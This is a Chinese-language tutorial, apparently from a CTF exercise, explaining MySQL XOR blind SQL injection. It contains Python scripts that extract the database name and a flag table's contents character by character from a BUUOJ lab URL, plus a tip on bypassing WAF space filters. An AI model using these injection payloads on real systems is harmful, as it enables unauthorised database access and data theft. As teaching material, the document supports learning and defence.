sqlmap對盲注的判斷有所幫助,在真正注入的時候就感覺力不從心,又是需要手寫一些注入的方法,假設(shè)已知表名falg,列名flag,記錄一下mysql異或注入的方法。
0x01 注入原理
異或注入是通過where語句的111來進行判斷和擴展的,首先在mysql里面進行下測試
sql select 1^1^1
mysqlxor1.PNG
sql select 1^1^0
mysqlxor2.PNG
sql select 1^0^0
mysqlxor3.PNG
sql select 0^0^0
mysqlxor4.PNG
通過測試我們可以知道,兩真為假,兩假為真,通過一個輸入值具有正反兩種情況的條件下,這個特性我們可以進行mysql的異或攻擊了。
0x02 具體代碼
注入數(shù)據(jù)庫名
import requests str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ _{}+-*/=" url="http://a7d50de8-a34b-4eb5-987b-73e25e926229.node3.buuoj.cn/index.php" #session=requests.session() #如果需要session def database(): resutlt="" for i in range(1,30): for j in str_all: playlod="1^(ascii(mid(database()from({})))={})^0".format(str(i),ord(j)) data = { "id": playlod #, #"password": "123" } #s=session.post(url,data) s = requests.post(url,data=data) #print(playlod) #print(s.text) if "Error" in s.text: resutlt+=j print(resutlt) break; database()
通過上述方法可以使用information_schema.tables和information_schema.columns獲取到表名,列名,記得使用group_concat()函數(shù)來連接具體數(shù)據(jù),這里不再貼具體代碼。
我們假設(shè)如果已經(jīng)注入得到了表flag,列flag,具體得到數(shù)據(jù)的代碼如下:def getValue(): resutlt="" for i in range(29,49): for j in str_all: #知道表名flag,列名flag playlod="1^(ascii(mid((select(flag)from(flag))from({})))={})^0".format(str(i),ord(j)) data = { "id": playlod #, #"password": "123" } #s=session.post(url,data) s = requests.post(url,data=data) print(playlod) #print(s.text) if "Error" in s.text: resutlt+=j print(resutlt) break;在這里需要注意mid函數(shù)中括號的用法,這樣的寫法可以繞過多種waf,比如空格等情況。